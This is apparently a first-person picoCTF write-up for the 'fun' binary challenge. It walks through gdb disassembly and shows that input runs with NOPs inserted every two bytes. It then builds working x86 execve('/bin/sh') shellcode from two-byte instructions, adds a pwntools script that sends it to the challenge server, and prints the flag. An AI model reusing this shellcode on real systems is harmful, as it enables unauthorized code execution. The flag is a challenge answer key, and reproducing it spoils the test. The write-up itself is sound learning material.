Rating: 5.0
Hey this is my first Writeup i try to explain as detailed as possible what i did to solve this challenge.
Special thanks to @Zopazz and @uncle_Jeff from the PWNFunction Discord for helping me out and answering my stupid questions :D
Join us if u want https://discord.gg/qJzgHZ5srj.
Run `gdb ./fun` and than `disass main`
```
0x080485d3 <+0>: lea ecx,[esp+0x4]
0x080485d7 <+4>: and esp,0xfffffff0
0x080485da <+7>: push DWORD PTR [ecx-0x4]
0x080485dd <+10>: push ebp
0x080485de <+11>: mov ebp,esp
0x080485e0 <+13>: push ebx
0x080485e1 <+14>: push ecx
0x080485e2 <+15>: sub esp,0x3f0
0x080485e8 <+21>: call 0x8048430 <__x86.get_pc_thunk.bx>
0x080485ed <+26>: add ebx,0x1a13
0x080485f3 <+32>: mov eax,DWORD PTR [ebx-0x4]
0x080485f9 <+38>: mov eax,DWORD PTR [eax]
0x080485fb <+40>: sub esp,0x8
0x080485fe <+43>: push 0x0
0x08048600 <+45>: push eax
0x08048601 <+46>: call 0x8048380 <setbuf@plt>
0x08048606 <+51>: add esp,0x10
0x08048609 <+54>: mov DWORD PTR [ebp-0xc],0x0
0x08048610 <+61>: mov BYTE PTR [ebp-0xd],0x0
0x08048614 <+65>: sub esp,0xc
0x08048617 <+68>: lea eax,[ebx-0x18c0]
0x0804861d <+74>: push eax
0x0804861e <+75>: call 0x8048390 <puts@plt>
0x08048623 <+80>: add esp,0x10
0x08048626 <+83>: mov eax,DWORD PTR [ebx-0x8]
0x0804862c <+89>: mov eax,DWORD PTR [eax]
0x0804862e <+91>: sub esp,0xc
0x08048631 <+94>: push eax
0x08048632 <+95>: call 0x80483c0 <fgetc@plt>
0x08048637 <+100>: add esp,0x10
0x0804863a <+103>: mov BYTE PTR [ebp-0xd],al
0x0804863d <+106>: jmp 0x804866b <main+152>
0x0804863f <+108>: lea edx,[ebp-0x3f5]
0x08048645 <+114>: mov eax,DWORD PTR [ebp-0xc]
0x08048648 <+117>: add edx,eax
0x0804864a <+119>: movzx eax,BYTE PTR [ebp-0xd]
0x0804864e <+123>: mov BYTE PTR [edx],al
0x08048650 <+125>: mov eax,DWORD PTR [ebx-0x8]
0x08048656 <+131>: mov eax,DWORD PTR [eax]
0x08048658 <+133>: sub esp,0xc
0x0804865b <+136>: push eax
0x0804865c <+137>: call 0x80483c0 <fgetc@plt>
0x08048661 <+142>: add esp,0x10
0x08048664 <+145>: mov BYTE PTR [ebp-0xd],al
0x08048667 <+148>: add DWORD PTR [ebp-0xc],0x1
0x0804866b <+152>: cmp BYTE PTR [ebp-0xd],0xa
0x0804866f <+156>: je 0x804867a <main+167>
0x08048671 <+158>: cmp DWORD PTR [ebp-0xc],0x3e7
0x08048678 <+165>: jbe 0x804863f <main+108>
0x0804867a <+167>: mov eax,DWORD PTR [ebp-0xc]
0x0804867d <+170>: and eax,0x1
0x08048680 <+173>: test eax,eax
0x08048682 <+175>: je 0x8048696 <main+195>
0x08048684 <+177>: lea edx,[ebp-0x3f5]
0x0804868a <+183>: mov eax,DWORD PTR [ebp-0xc]
0x0804868d <+186>: add eax,edx
0x0804868f <+188>: mov BYTE PTR [eax],0x90
0x08048692 <+191>: add DWORD PTR [ebp-0xc],0x1
0x08048696 <+195>: sub esp,0x8
0x08048699 <+198>: push DWORD PTR [ebp-0xc]
0x0804869c <+201>: lea eax,[ebp-0x3f5]
0x080486a2 <+207>: push eax
0x080486a3 <+208>: call 0x80484f6 <execute>
0x080486a8 <+213>: add esp,0x10
0x080486ab <+216>: mov eax,0x0
0x080486b0 <+221>: lea esp,[ebp-0x8]
0x080486b3 <+224>: pop ecx
0x080486b4 <+225>: pop ebx
0x080486b5 <+226>: pop ebp
0x080486b6 <+227>: lea esp,[ecx-0x4]
0x080486b9 <+230>: ret
```
`0x080486a3 <+208>: call 0x80484f6 <execute>` this looks interesting because its not a function from the .plt so it is not a linked function.
lets check it with `disass execute`
```
0x080484f6 <+0>: push ebp
0x080484f7 <+1>: mov ebp,esp
0x080484f9 <+3>: push ebx
0x080484fa <+4>: sub esp,0x24
0x080484fd <+7>: call 0x80486ba <__x86.get_pc_thunk.ax>
0x08048502 <+12>: add eax,0x1afe
0x08048507 <+17>: mov edx,esp
0x08048509 <+19>: mov ebx,edx
0x0804850b <+21>: cmp DWORD PTR [ebp+0x8],0x0
0x0804850f <+25>: je 0x8048517 <execute+33>
0x08048511 <+27>: cmp DWORD PTR [ebp+0xc],0x0
0x08048515 <+31>: jne 0x8048523 <execute+45>
0x08048517 <+33>: sub esp,0xc
0x0804851a <+36>: push 0x1
0x0804851c <+38>: mov ebx,eax
0x0804851e <+40>: call 0x80483a0 <exit@plt>
0x08048523 <+45>: mov eax,DWORD PTR [ebp+0xc]
0x08048526 <+48>: add eax,eax
0x08048528 <+50>: mov DWORD PTR [ebp-0x14],eax
0x0804852b <+53>: mov eax,DWORD PTR [ebp-0x14]
0x0804852e <+56>: add eax,0x1
0x08048531 <+59>: mov edx,eax
0x08048533 <+61>: sub edx,0x1
0x08048536 <+64>: mov DWORD PTR [ebp-0x18],edx
0x08048539 <+67>: mov edx,0x10
0x0804853e <+72>: sub edx,0x1
0x08048541 <+75>: add eax,edx
0x08048543 <+77>: mov ecx,0x10
0x08048548 <+82>: mov edx,0x0
0x0804854d <+87>: div ecx
0x0804854f <+89>: imul eax,eax,0x10
0x08048552 <+92>: sub esp,eax
0x08048554 <+94>: mov eax,esp
0x08048556 <+96>: add eax,0x0
0x08048559 <+99>: mov DWORD PTR [ebp-0x1c],eax
0x0804855c <+102>: mov DWORD PTR [ebp-0x10],0x0
0x08048563 <+109>: mov DWORD PTR [ebp-0xc],0x0
0x0804856a <+116>: jmp 0x80485ad <execute+183>
0x0804856c <+118>: mov eax,DWORD PTR [ebp-0xc]
0x0804856f <+121>: cdq
0x08048570 <+122>: shr edx,0x1e
0x08048573 <+125>: add eax,edx
0x08048575 <+127>: and eax,0x3
0x08048578 <+130>: sub eax,edx
0x0804857a <+132>: cmp eax,0x1
0x0804857d <+135>: jg 0x804859e <execute+168>
0x0804857f <+137>: mov eax,DWORD PTR [ebp-0x10]
0x08048582 <+140>: lea edx,[eax+0x1]
0x08048585 <+143>: mov DWORD PTR [ebp-0x10],edx
0x08048588 <+146>: mov edx,eax
0x0804858a <+148>: mov eax,DWORD PTR [ebp+0x8]
0x0804858d <+151>: add eax,edx
0x0804858f <+153>: movzx eax,BYTE PTR [eax]
0x08048592 <+156>: mov ecx,DWORD PTR [ebp-0x1c]
0x08048595 <+159>: mov edx,DWORD PTR [ebp-0xc]
0x08048598 <+162>: add edx,ecx
0x0804859a <+164>: mov BYTE PTR [edx],al
0x0804859c <+166>: jmp 0x80485a9 <execute+179>
0x0804859e <+168>: mov edx,DWORD PTR [ebp-0x1c]
0x080485a1 <+171>: mov eax,DWORD PTR [ebp-0xc]
0x080485a4 <+174>: add eax,edx
0x080485a6 <+176>: mov BYTE PTR [eax],0x90
0x080485a9 <+179>: add DWORD PTR [ebp-0xc],0x1
0x080485ad <+183>: mov eax,DWORD PTR [ebp-0xc]
0x080485b0 <+186>: cmp DWORD PTR [ebp-0x14],eax
0x080485b3 <+189>: ja 0x804856c <execute+118>
0x080485b5 <+191>: mov edx,DWORD PTR [ebp-0x1c]
0x080485b8 <+194>: mov eax,DWORD PTR [ebp-0x14]
0x080485bb <+197>: add eax,edx
0x080485bd <+199>: mov BYTE PTR [eax],0xc3
0x080485c0 <+202>: mov eax,DWORD PTR [ebp-0x1c]
0x080485c3 <+205>: mov DWORD PTR [ebp-0x20],eax
0x080485c6 <+208>: mov eax,DWORD PTR [ebp-0x20]
0x080485c9 <+211>: call eax
0x080485cb <+213>: mov esp,ebx
0x080485cd <+215>: nop
0x080485ce <+216>: mov ebx,DWORD PTR [ebp-0x4]
0x080485d1 <+219>: leave
0x080485d2 <+220>: ret
```
ok here i got stuck for a bit ... i was looking for something like `call 0xsomeaddr <something>` but on the first view i cant spot anything interesting ... after reading each line and a few mins later i found `0x080485c9 <+211>: call eax`.
set the breakpoints on the interesting spots `b *0x080486a3` and `b *0x080485c9` than run the binary with `r`
` Give me code to run: `
lets throw `AAAAAAAAAAAAAAAAAAAA`
we reach our 1st breakpoint:
`[#0] Id 1, Name: "fun", stopped 0x80486a3 in main (), reason: BREAKPOINT`
first we check whats in the eax `$eax : 0xffffcde3 → 0x41414141 ("AAAA"?)`
`x/25b $eax`
```
0xffffcde3: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcdeb: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcdf3: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcdfb: 0x41
```
check whats on the stack `0xffb39630│+0x0000: 0xffb39643 → 0x41414141 ← $esp`
our input is stored in 0xffb39643
`x/25b 0xffb39643`
```
0xffb39643: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffb3964b: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffb39653: 0x41 0x41 0x41 0x41 0xff 0x66 0x47 0xf2
0xffb3965b: 0xf7
```
we can continue with `c`
we reach our 2nd breakpoint
`[#0] Id 1, Name: "fun", stopped 0x80485c9 in execute (), reason: BREAKPOINT`
and we check both eax and esp again.
```
gef➤ x/25b $eax
0xffffcd60: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd68: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd70: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd78: 0x41
gef➤ x/25b $esp
0xffffcd60: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd68: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd70: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd78: 0x41
```
ok maybe our 20 As gets overwritten with the 0x90 or the 0x90 only gets inserted after 2 bytes lets check if we can find all 20 As
```
gef➤ x/45b $eax
0xffffcd70: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd78: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd80: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd88: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd90: 0x41 0x41 0x90 0x90 0x41 0x41 0x90 0x90
0xffffcd98: 0xc3 0x0 0x0 0x0 0x2
```
ok great our As are still there but seperated by 2 0x90 (nop) this means our shellcode can only consists of 2 byte instructions.
for example we send
```
68 6e 69 62 2f push 0x2f62696e
68 68 73 2f 00 push 0x2f7368
```
it would be split in 2 byte sections
```
0xffdb6b40: 0x68 0x6e 0x90 0x90 0x69 0x62 0x90 0x90
0xffdb6b48: 0x2f 0x68 0x90 0x90 0x68 0x73 0x90 0x90
0xffdb6b50: 0x2f 0x00 0x90 0x90
```
and gets interpreted as something we dont want.
so we have to use 2 byte instructions to spawn a shell.
ok we want to spawn a shell but how ?
i had no idea never wrote a shellcode before ... so i read some shellcodes on shellstorm
and found out that we need a `int 0x80` instruction for a syscall that than executes ecexve
on http://asm.sourceforge.net/syscall.html#p31 i found this.
```
11. sys_execve
Syntax: int sys_execve(struct pt_regs regs)
Source: arch/i386/kernel/process.c
Action: execute program
Details:
```
sys_execve executes a program like /bin/sh
ok lets have a closer look at execve
https://man7.org/linux/man-pages/man2/execve.2.html
`execve(const char *pathname, char *const argv[],char *const envp[]);`
we want `int syscall 0xb(/bin/sh, 0, 0)` to get our shell.
but how do we have to prepare the registers?
```
int 0x80 eax(ebx,ecx,edx)
eax = 0xb #11 as int (for the sys_execve)
ebx = /bin/sh #the programm we want to execute.
ecx = 0 #we dont want any arguments and the argv array must be terminated by a NULL pointer so were going for 0x0
edx = 0 #we dont want any arguments and the enpv array must be terminated by a NULL pointer so were going for 0x0
```
great now we know what we want time to creating our code.
```
xor eax, eax #clears eax
push eax #push 0x00000000 on the stac
push eax #push 0x00000000 on the stack
mov edi, esp #sets the edi to the top of the stack so we can write something in edi and it will be written on the stack .
mov al, 0x2f #writes '/' on the lowes byte of the eax
add [edi], al #adds the '/' to the edi pointer which points to the first byte of the stack( top of the stack ($esp+0))
#first byte of the stack at this addr 0xffb82dac: 0x2f
inc edi #increment the edi by 1 so the next addr is 0xffb82dad: 0x00 its empty as intended for now
nop #we need this nop because inc edi = 0x47 as hex instruction and we know we need always 2 bytes to keep the code stable
mov al, 0x62 #writes 'b' on the lowes byte of the eax 2nd byte of the stack
add [edi], al
inc edi
nop
mov al, 0x69 #writes 'i' on the lowes byte of the eax 3rd byte of the stack
add [edi], al
inc edi
nop
mov al, 0x6e #writes 'n' on the lowes byte of the eax 4th
add [edi], al
inc edi
nop
mov al, 0x2f #writes '/' on the lowes byte of the eax 5th
add [edi], al
inc edi
nop
mov al, 0x73 #writes 's' on the lowes byte of the eax 6th
add [edi], al
inc edi
nop
mov al, 0x68 #writes 'h' on the lowes byte of the eax 7th
add [edi], al
inc edi
nop
xor ebx, ebx #clears ebx
xor ecx, ecx #clears ecx
xor edx, edx #clears edx
mov al, 0xb #writes 0xb to the lowest byte of the eax=0xb int(0xb)=11 that will be the argument for the int 0x80 it calls sys_execve
mov ebx, esp #Writes the /bin/sh string in the ebx the 2nd argument for the int 0x80
int 0x80
```
ok now we have our code lets throw this in a web assembler https://defuse.ca/online-x86-assembler.html and get the hexcode of it.
```
b"\x31\xC0\x50\x50\x89\xE7\xB0\x2F\x00\x07\x47\x90\xB0\x62\x00\x07\x47\x90\xB0\x69\x00\x07\x47\x90\xB0\x6E\x00\x07\x47\x90\xB0\x2F\x00\x07\x47\x90\xB0\x73\x00\x07\x47\x90\xB0\x68\x00\x07\x47\x90\x31\xDB\x31\xC9\x31\xD2\xB0\x0B\x89\xE3\xCD\x80"
```
i created a little exploit and saved it as I_can_write_shellcode_now
```
#!/usr/bin/env python3
from pwn import *
fname = './fun'
ip = 'mercury.picoctf.net'
port = 12345 #change this
LOCAL = False
if LOCAL:
r = process(fname)
else:
r = remote(ip, port)
rl = lambda : r.recvline()
sl = lambda x : r.sendline(x)
inter = lambda : r.interactive()
def pwn():
print(rl())
payload = b'\x31\xC0\x50\x50\x89\xE7\xB0\x2F\x00\x07\x47\x90\xB0\x62\x00\x07\x47\x90\xB0\x69\x00\x07\x47\x90\xB0\x6E\x00\x07\x47\x90\xB0\x2F\x00\x07\x47\x90\xB0\x73\x00\x07\x47\x90\xB0\x68\x00\x07\x47\x90\x31\xDB\x31\xC9\x31\xD2\xB0\x0B\x89\xE3\xCD\x80'
sl(payload)
inter()
if __name__ == '__main__':
pwn()
```
time to pop a shell.
`chmod +x I_can_write_shellcode_now` and than run it.
GG we get a shell and can cat the flag.
||picoCTF{th4t_w4s_fun_bf8b48641b742e27}||